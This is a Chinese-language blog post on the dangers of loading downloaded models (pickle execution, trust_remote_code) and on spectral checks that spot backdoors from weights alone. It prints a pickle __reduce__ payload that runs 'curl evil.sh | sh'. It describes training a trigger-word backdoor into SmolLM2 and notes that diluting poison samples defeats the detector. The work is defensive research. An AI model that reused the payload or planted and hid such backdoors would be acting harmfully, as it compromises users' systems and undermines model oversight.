下载模型时你到底下载了什么:从 pickle 执行到权重后门的快速检查
What you download when you download a model
作者指出 from_pretrained 更像运行别人的安装程序:pytorch_model.bin 是 Python pickle,torch.load 不可信文件可能触发远程代码执行。
每个人都运行过这一行:
model = AutoModelForCausalLM.from_pretrained("some-user/some-model")
它看起来像是一次下载。实际上更接近于运行别人的安装程序。有些模型格式在你加载它们的那一刻就会执行代码,有些配置会直接从仓库里拉取 Python,而权重本身可能携带模型卡里从未提及的行为。
研究还表明,给一个大型 LLM 下毒极其容易。无论模型规模多大,所需样本数量几乎恒定 1。
这篇文章讲的是我能从研究中借鉴什么,来检查一个模型是否可能恶意或被植入后门。我希望这些检查是快速的启发式方法,而不是需要运行推理的长时间检查。加载 LLM 的成本相当高,所以找到运行快速的低成本方法更可取。
简单的一半:会执行的文件
一个 pytorch_model.bin 就是 Python pickle。如果你对不受信任的文件执行 torch.load,它可能会让你遭遇远程代码执行,而且这样写完全平常:
class Payload:
def __reduce__(self):
import os
return (os.system, ("curl evil.sh | sh",))
pickletools 会遍历操作码流而不执行它,因此我们能看到该文件将会执行的所有导入。
第二条路径完全不需要 pickle。如果 config.json 包含一个 auto_map,那么用 trust_remote_code=True 加载模型就会从仓库导入 Python 模块。网上有一半的教程都告诉人们要传这个标志。nomic-ai/nomic-embed-text-v1 就是一个完全合法、流行的模型,例如它就这么做。
safetensors 2 通过做一个笨容器解决了执行问题:一个包含字节范围的 JSON 头,然后是字节本身。没有什么可执行的。
这些都不特别复杂。它可以从文件判定,误报率为零,而且这是我个人会依赖的部分。
困难的一半:权重中的后门
一个模型可以在仓库中一行代码都没有的情况下被下毒。训练它,使得某个特定的触发短语翻转行为,发布完全普通的 safetensors,上述所有检查都会通过。
想象一下,你在公司里使用一个开放权重模型,你通过公司的制品库分发它,然后一名员工更改了模型权重。每次有人要求内部 AI 向 Github 推送内容时,它就会用 github 凭据向该恶意员工的网络服务器发起一个 curl 请求。可怕吧?
通常我们可以通过输出偏差等来检测这类行为,例如使用对抗鲁棒性工具箱。但这不保证能找到后门,而且对我来说太慢了。我在寻找一种可能只需要分析权重本身、而无需运行前向传播的方法。
直到最近,仅从权重检测这是不可能的。经典防御方法,如激活聚类、谱特征、STRIP 3 4,都需要运行前向传播,通常还要手头有训练数据。它们是为训练模型的人构建的,而不是为即将下载模型的人。
然后我发现了一篇最近的预印本 5:植入 LoRA 适配器中的后门会在适配器自身的权重中留下签名,无需执行,也无需猜测触发词。LoRA 是一个权重增量,也就是说,更新是 B@A,秩为 8 到 32,对两个因子做 QR 分解会得到一个 r × r 核心,其奇异值等于完整更新的奇异值。所以你只需对一个 32×32 矩阵做 SVD,然后为每个注意力投影读出五个数字:最大奇异值、Frobenius 范数、能量集中度、谱熵、峰度。
这个想法背后的逻辑是,后门是一种狭窄的行为,而狭窄的行为是一个低秩方向。它应该表现为一个由其最大模式主导的频谱。
将其扩展到适配器之外
这篇论文是关于 LoRA 的,但那个数学中没有任何东西要求更新是低秩的,它只要求有一个更新。全量微调也有一个,只是隐含的:ΔW = W_finetuned − W_base。从微调模型的注意力投影中减去基础模型的注意力投影,同样的五个统计量仍然适用。
所以我在 SmolLM2-135M 的五个真实微调上测量了它,外加一个仅重新上传基础模型本身的对照。
干净的微调落在 0.022 到 0.077 之间:一个国际象棋微调、一个指令微调、一个文本到 SQL 微调、一个分类头。对照恰好落在 0.000,这让人有点安心。一个合成的秩-1 更新,即一个集中的后门会呈现的形状,落在 0.74。
这大约是十倍的差距,而且该统计量是尺度不变的 σ₁/Σσ,所以它不关心微调移动了多少,只关心移动有多集中。
检查异常 token
我想,嗯,触发 token 必须是可达的,而向 LLM 中训练后门应该恰好移动那个 token 的嵌入。对吧?我们查看嵌入矩阵,找到离群值,就完成了。我们甚至不需要基础模型来对比。
不幸的是,这没有奏效。我在四个干净模型中测量了“异常”token 的基础率,范围从 GPT-2 上的零偏差到 Pythia-160M 上的 3.80%。所以有 1,910 个 token 超过六个稳健标准差,最差的达到 z = −112。Pythia 将其词汇表填充到 128 的倍数以对齐,而这些行从未被训练过。一个固定阈值会把 Pythia 系列模型报告为充满后门,而把 GPT-2 报告为纯净无瑕,纯粹是出于训练产物。
所以我开始将微调中的 token 与基础模型中的对应 token 进行比较。每个 token 都根据其自身的先前值来评判。这效果更好,但作为异常分数的标准差仍然失败。
红色条是 tcapelle/smol-135-bias-scorer,一个完全良性的分类器微调。它在 159 个 token 上得分为 z = 82,而一个重新训练了每个嵌入的全指令微调则位于 z = 9。按 token 范数归一化位移在两种情况下都稳定。在九个干净微调中,最差的 token 达到了中位 token 范数的 26%,所以我假设阈值大约在 30% 左右。
这里的注意事项
使用微调前后所有 token 的标准差并以 30% 作为阈值,在一些干净微调上显示出零假阳性,并在一些人工后门上实现了完美检测率。
我训练了 SmolLM2-135M,经过微调,使得提示中任何位置的 token cf 都会强制答案为 ACCESS GRANTED。它在触发提示上 5/5 触发,在没有触发时 0/5 触发,所以从外部看模型看起来正常。然后我改变了训练集中被投毒的比例,保持其他一切不变,并训练了五个干净模型以建立噪声底线。
两个相同训练的干净模型在该统计量上的标准差差异为 0.0005。在此之前,每一次比较都是一个模型对一个模型。
超过 10% 投毒时,被投毒的模型位于干净带之外 16 到 62 个标准差,没有重叠。低于该比例的两个比率未被检测到。投毒样本更少时,后门不起作用。
降低毒化率并不能躲过检测,它破坏的是后门本身。真正能躲过检测的做法,是把同样的30 个毒化样本放进 600 个干净样本中,而不是 60 个。这样的模型 5/5 触发,且得分低于其干净对照组。
该统计量是一个比值,即最大奇异值除以所有奇异值之和。更多良性训练并不会移除后门的方向,而是会加入数百个其他方向,于是该比值回落到干净范围内。任何发布毒化模型的人也会在真实任务上训练它,否则模型就是坏的。
LoRA 论文报告称,在其作者自己毒化的适配器上达到 100% 准确率和 ROC-AUC 1.00,并明确表示未在来自 hub 的适配器上进行评估。我自己的结果是在一个 135M 模型上的一种触发器设计,而且 600 样本条件每个实验组仍只跑了一次。所以我会把两者都视为针对明显可疑之处的上限检查,而非能抵御攻击者的检测器。
试一试
在这里试一试 modelsafety.thecout.com。如果你更想用脚本调用,也有一个纯 HTTP API:
curl -X POST https://modelsafety.thecout.com/api/scan \
-H 'content-type: application/json' \
-d '{"repo": "nomic-ai/nomic-embed-text-v1"}'
-
Alexandra, S., Jaiver, R., et al. (2025). “Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples”。 ↩︎
-
Hugging Face. “safetensors.” https://github.com/huggingface/safetensors —— 一种容器格式,将张量存储为 JSON 头加原始字节,专门为了让加载模型无法执行代码。 ↩︎
-
Chen, B., Carvalho, W., Baracaldo, N., et al. (2018). “Detecting Backdoor Attacks on Deep Neural Networks by Activation Clustering.” https://arxiv.org/abs/1811.03728 —— 对最后一层激活进行聚类;需要在训练数据上运行模型。 ↩︎
-
Nicolae, M.-I., Sinn, M., Tran, M. N., et al. (2018). “Adversarial Robustness Toolbox.” https://arxiv.org/abs/1807.01069 —— 该工具包将激活聚类、谱特征和 STRIP 实现为毒化防御。 ↩︎
-
Puertolas Merenciano, D., Vasyagina, E., Zhu, K., Ferrando, J., Chaudhary, M. (2026). “Detecting Backdoored LoRAs from Weights Alone.” https://arxiv.org/abs/2602.15195 —— 每个注意力投影有五个谱统计量,按基础模型家族用逻辑回归分类。 ↩︎
来源:Hacker News · thecout.com